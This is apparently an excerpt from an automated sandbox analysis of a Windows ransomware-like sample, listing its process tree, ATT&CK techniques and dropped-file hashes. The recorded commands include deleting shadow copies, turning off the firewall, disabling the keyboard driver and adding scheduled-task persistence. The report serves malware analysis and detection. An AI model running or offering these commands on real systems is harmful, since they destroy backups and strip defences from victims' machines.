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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:2476 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:3348
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:5304 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:4564
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Suspicious use of WriteProcessMemory
PID:3764 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5500
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\kumio.io.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:1904
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵PID:5472
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:1008
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2884
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious use of AdjustPrivilegeToken
PID:1496
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4668 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:6104
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:5260
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:4092
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:2136
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a20055 /state1:0x41c64e6d1⤵
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:2896
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C:\Users\Admin\AppData\Local\Temp\kumio.io.exeC:\Users\Admin\AppData\Local\Temp\kumio.io.exe1⤵PID:956
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:5552
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 69KB
- SHA256 8be74759811e952c6bc44d0e50b02a08ca03ae1633f31fed372a6368d71f2238
- MD5 2456a2db80fbf673fe5682a1e7f31f34
- SHA1 b8d93a7a93522a05d603e89cc48ecc5aeb6034d2
- SHA512 81b884045c4b4050b898c942417c09eaf6e4ac78fa27c73bb25e61d7b203d8e46fd010da5d07929c46c05f2677ba6af81d446b45b9ef0440275d53bb992c8155
- SSDEEP 1536:a3PIB0d9vnV1TBp2tm9GEPo/va5+GcbdUrvcE/a44V8OI8xKReLvj80CVeJ:aNn19p2A/wna5+sUI4V8T8xKReLvo0Cy
- TLSH T151634A379A23FDC1673F2C80F05039950C893A6797B466BCFBC51A9A29E5244DF2E49C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 68KB
- SHA256 d436d92163dcfa374b72eafda8107cf4495ff474b02eac5e662dccc0d34c9c86
- MD5 36cedb9589f97dbc5cd2a5f61ee17adf
- SHA1 1df27e56f020576ec9da68ea36d363813abf739b
- SHA512 2c5743c75be6adb408852a5f6393f20d182f108e508dbb23a303aac1f9f17ddca1de199d231650de37752551b2178403f47cc25ef136430036ba4684e55ce0ec
- SSDEEP 1536:63PIB0d9vnV1TBp2tm9GEPo/va5+GcbdUrvcE/a44V8OI8xKReLvj80CVeA:6Nn19p2A/wna5+sUI4V8T8xKReLvo0Cl
- TLSH T1146339379A23FDC1673F2C80F05039950C893A6B97B456BCFBC51A9A29E5244DF2E49C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\kumio.io.exe.log
- Size 660B
- SHA256 0e692bcbba51ca4e766a427c9f28a7a4a9e326d2cf835493e57a9dc2121326b5
- MD5 284393596fdd49bebd7b861bf339b82d
- SHA1 a36767dfc423b3c7fd3ff439b616862743a053c8
- SHA512 8d3247ee0c3bf9a9fceea23eb5c646dbd8b3d954f4d62622f49070629e642d6a13bfb0d27949e2355c081d45f5a1101f05a9972782a0f0a478ed90f551d2efeb
- TLSH T1BD0144703376A0D889263F820C2E52C857BF433AA150AD18B998628DED3601B6B212E7
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_izitkdq4.hce.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 233B
- SHA256 9d0ed69894eae99b5efbb9b557754d8fc7ce4672c934ee0765d931bc6f5d97ff
- MD5 4d5782794d88774135aee7bd8914aa86
- SHA1 3dc9715dbd6d9056fc0a66b137994d5eb3a107b4
- SHA512 3891ff4e5ff7def40bb5aa0f480a6e766086801a9a92785fb3505e7c389805d9ed8ba1bbd601e33ca3e662239e0509c84a92bdccf96518871e9790c75ae537b8
- TLSH T1E2D0A78BB148C6A90005223B85F38E4CE5B558683B13BE604AA5DD4D32908848DF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 234B
- SHA256 064e2ea2f7177f71a16699b4c61025c6020484d99787716aeacc9d5494be3726
- MD5 bd2b2508c0402f23dd5264d6620ac0a3
- SHA1 65132627448762279d0c997e7f13dcd8a4687cf3
- SHA512 3839796c2941bc99b6300a40a57c0ccff09950c33ba5aed92b84daa2c00b81bc357ce073fe9736d42bb028896bf868ba12c9744e5d05ea3365362b6ac2f2b6b0
- TLSH T17FD0A78BB148C6A90005223F84F38E4CE6E158683F13AE209A65DD0E32808848DF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Windows\System32\sysupdate.exe
- Size 51KB
- SHA256 286676a2d03523681ba597532c4ca8e4be8c3f5aafcbd323716c0a307480243b
- MD5 fb909bafa7fcc0668b17787eaec550f3
- SHA1 08240b22e58bbb33f34d8e785c909451dd253f71
- SHA512 9cd586f17614f3fb0333bc81ac65a500c522948b458c907a152df49cc9c461701c068d7b00e318d14694004354fb128b02acc53c9c632de86d8b03ed7c41e9ed
- SSDEEP 768:gVTtLYhD+7o19oDJLnk5ztS5vaRa+mAmGmoWnheHeb7EPLf9jSvvhE2v:yYhD+YuhnXgRa+mHDb2ljSvv7v
- TLSH T1F333F94873ED8112E1BF4EBE95B180529331F463DD23DB8E0AD8459E09E3B44CD68B6B
- MD5 SHA1 SHA512 SSDEEP TLSH